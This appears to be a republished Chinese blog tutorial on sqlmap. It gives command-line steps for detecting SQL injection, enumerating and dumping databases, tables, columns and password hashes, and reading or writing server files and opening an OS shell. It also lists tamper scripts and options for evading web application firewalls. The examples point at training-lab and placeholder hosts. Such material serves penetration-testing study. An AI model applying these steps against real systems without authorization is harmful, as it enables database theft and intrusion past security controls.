sqlmap使用教程-sqlmap常用命令介紹


不會安裝見sqlmap的同學見(sqlmap使用教程-安裝教程:https://www.cnblogs.com/xingyuyu/p/15378326.html)

 

sqlmap支持5種注入模式:

  1、基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。

  2、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

  3、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。

  4、聯合查詢注入,可以使用union的情況下的注入。

  5、堆查詢注入,可以同時執行多條語句的執行時的注入。

sqlmap目前支持的數據庫有:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

sqlmap常用命令:

更新命令:python sqlmap.py --update

常用URL注入語句:sqlmap.py -url http://192.168.64.134/sql/Less-1/?id=1

--level (1-5)執行測試等級level有5個等級,默認等級為1,進行Cookie測試時使用2 ,進行use-agent或refer測試時使用3 ,進行host測試時使用 5

--risk=RISK(0-3)執行測試的風險,共有四個風險等級,默認是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL注入測試。

-v VERBOSE (0-6)信息級別:0、只顯示python錯誤以及嚴重的信息。1、同時顯示基本信息和警告信息(默認);2、同時顯示debug信息;3、同時顯示注入的payload;4、同時顯示HTTP請求;5、同時顯示HTTP響應頭;6、同時顯示HTTP響應頁面。

 

常見步驟如下:

step1:sqlmap -u ["URL"] //測試是否存在注入
step2:sqlmap -u ["URL"] -current-db //查詢當前數據庫
step3:sqlmap -u ["URL"] -D ["數據庫名"] --tables //查詢當前數據庫中的所有表
step4:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] --columns //查詢指定庫中指定表的所有列(字段)
step5:sqlmap -u ["URL"] -D ["數據庫名"] -T ["表名"] -C ["列名"] --dump //打印出指定庫中指定表指定列中的字段內容

 

多個url注入:sqlmap.py -m urls.txt

txt格式如下:

http://192.168.79.130/sqli/Less-1/?id=1
http://192.168.79.130/sqli/Less-2/?id=1
http://192.168.79.130/sqli/Less-3/?id=1

手機移動站點注入:sqlmap.py -u “http://www.mobile.com?Id=1”--mobile

智能測試注入:sqlmap.py -u“http://192.168.79.130/sqli/Less-1/?id=1”--batch --smart

--batch 自動選擇yes

--smart 啟發式快速判斷,節約浪費時間

post及cookie注入:sqlmap.py -r burpsuite抓包.txt

txt格式如下:

POST /vuln.php HTTP/1.1 Host: www.test.com User-Agent: Mozilla/4.0 id=1

指定參數注入:sqlmap.py -r post.txt -p 注入參數

指定表單注入:sqlmap -u URL -data “username=a&password=a”

sqlmap表單注入:sqlmap.py -u URL -froms

 

信息枚舉(可以組合使用):

-a, --all                 獲取所有信息
-b, --banner              獲取數據庫管理系統的標識
--current-user            獲取數據庫管理系統當前用戶
--current-db              獲取數據庫管理系統當前數據庫
--hostname                獲取數據庫服務器的主機名稱
--is-dba                 檢測DBMS當前用戶是否DBA
--users                   枚舉數據庫管理系統用戶
--passwords               枚舉數據庫管理系統用戶密碼哈希
--privileges              枚舉數據庫管理系統用戶的權限
--roles                   枚舉數據庫管理系統用戶的角色
--dbs                     枚舉數據庫管理系統數據庫
--tables                  枚舉的DBMS數據庫中的表
--columns                 枚舉DBMS數據庫表列
--schema                  枚舉數據庫架構
--count                   檢索表的項目數,有時候用戶只想獲取表中的數據個數而不是具體的內容,那么就可以使用這個參數:sqlmap.py -u url --count -D testdb
--dump                    轉儲數據庫表項
--dump-all                轉儲數據庫所有表項
--search                  搜索列(S),表(S)和/或數據庫名稱(S)
--comments                獲取DBMS注釋
-D DB                     要進行枚舉的指定數據庫名
-T TBL                    DBMS數據庫表枚舉
-C COL                    DBMS數據庫表列枚舉
-X EXCLUDECOL             DBMS數據庫表不進行枚舉
-U USER                   用來進行枚舉的數據庫用戶
--exclude-sysdbs          枚舉表時排除系統數據庫
--pivot-column=P..        Pivot columnname
--where=DUMPWHERE         Use WHEREcondition while table dumping
--start=LIMITSTART        獲取第一個查詢輸出數據位置
--stop=LIMITSTOP          獲取最后查詢的輸出數據
--first=FIRSTCHAR         第一個查詢輸出字的字符獲取
--last=LASTCHAR           最后查詢的輸出字字符獲取
--sql-query=QUERY         要執行的SQL語句
--sql-shell               提示交互式SQL的shell
--sql-file=SQLFILE        要執行的SQL文件

 

系統文件操作

--file-read “文件路徑”  據庫服務器中讀取文件

--file-write “本地文件路徑”--file-dest “目標文件路徑”    把文件上傳到目標服務器

--os cmd, --os-shell    運行任意操作系統命令

 

繞過waf常用方法(可以使用一種或多種組合使用):

檢測waf類型:sqlmap.py -u “http://test.com/test.php?Id=1”--identify-waf

使用代理:sqlmap.py -u “http://test.com/test.php?Id=1” --proxy=http://127.0.0.1:8080(代理地址)

延遲連接:sqlmap.py -u “http://test.com/test.php?Id=1” --delay=3 (單位為秒

使用隨機Usre-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --random-agent(過安全狗有點用)

指定User-Agent:sqlmap.py -u “http://test.com/test.php?Id=1” --user-agent=”Firefox/xxx”

調整並發線程數:sqlmap.py -u “http://test.com/test.php?Id=1” --threads=4(線程數)

指定Referer字段:sqlmap.py -u “http://test.com/test.php?Id=1”--referer="https://www.baidu.com/index.html"

更換錯誤請求:sqlmap.py -u “http://test.com/test.php?Id=1” --safe-url(正常的網站)

 

使用sqlmap自帶的過waf腳本:sqlmap.py -u “http://test.com/test.php?Id=1” --tamper[“腳本名稱”](如果腳本失效,可以自定義腳本)

注:腳本文件位於sqlmap文件夾下的tamper文件夾里面

apostrophemask.py             用UTF-8全角字符替換單引號字符
apostrophenullencode.py       用非法雙字節unicode字符替換單引號字符
appendnullbyte.py             在payload末尾添加空字符編碼
base64encode.py               對給定的payload全部字符使用Base64編碼
between.py                    分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=”
bluecoat.py                   在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等於號“=”
chardoubleencode.py           對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
charencode.py                 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
charunicodeencode.py          對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
concat2concatws.py            用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
equaltolike.py                用“LIKE”運算符替換全部等於號“=”
greatest.py                   用“GREATEST”函數替換大於號“>”
halfversionedmorekeywords.py  在每個關鍵字之前添加MySQL注釋
ifnull2ifisnull.py            用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
lowercase.py                  用小寫值替換每個關鍵字字符
modsecurityversioned.py       用注釋包圍完整的查詢
modsecurityzeroversioned.py   用當中帶有數字零的注釋包圍完整的查詢
multiplespaces.py             在SQL關鍵字周圍添加多個空格
nonrecursivereplacement.py    用representations替換預定義SQL關鍵字,適用於過濾器
overlongutf8.py               轉換給定的payload當中的所有字符
percentage.py                 在每個字符之前添加一個百分號
randomcase.py                 隨機轉換每個關鍵字字符的大小寫
randomcomments.py             向SQL關鍵字中插入隨機注釋
securesphere.py               添加經過特殊構造的字符串
sp_password.py                向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py              用“/**/”替換空格符
space2dash.py                 用破折號注釋符“--”其次是一個隨機字符串和一個換行符替換空格符
space2hash.py                 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2morehash.py             用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2mssqlblank.py           用一組有效的備選字符集當中的隨機空白符替換空格符
space2mssqlhash.py            用磅注釋符“#”其次是一個換行符替換空格符
space2mysqlblank.py           用一組有效的備選字符集當中的隨機空白符替換空格符
space2mysqldash.py            用破折號注釋符“--”其次是一個換行符替換空格符
space2plus.py                 用加號“+”替換空格符
space2randomblank.py          用一組有效的備選字符集當中的隨機空白符替換空格符
unionalltounion.py            用“UNION SELECT”替換“UNION ALL SELECT”
unmagicquotes.py              用一個多字節組合%bf%27和末尾通用注釋一起替換空格符 寬字節注入
varnish.py                    添加一個HTTP頭“X-originating-IP”來繞過WAF
versionedkeywords.py          用MySQL注釋包圍每個非函數關鍵字
versionedmorekeywords.py      用MySQL注釋包圍每個關鍵字
xforwardedfor.py              添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF

 腳本詳細使用信息可以參考:https://www.douban.com/note/798582925/

 

本博客參考文章:

https://www.freebuf.com/sectool/164608.html

https://www.cnblogs.com/Hunter-01001100/p/12377393.html

https://www.vuln.cn/2035

https://my.oschina.net/u/4352543/blog/3551039

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM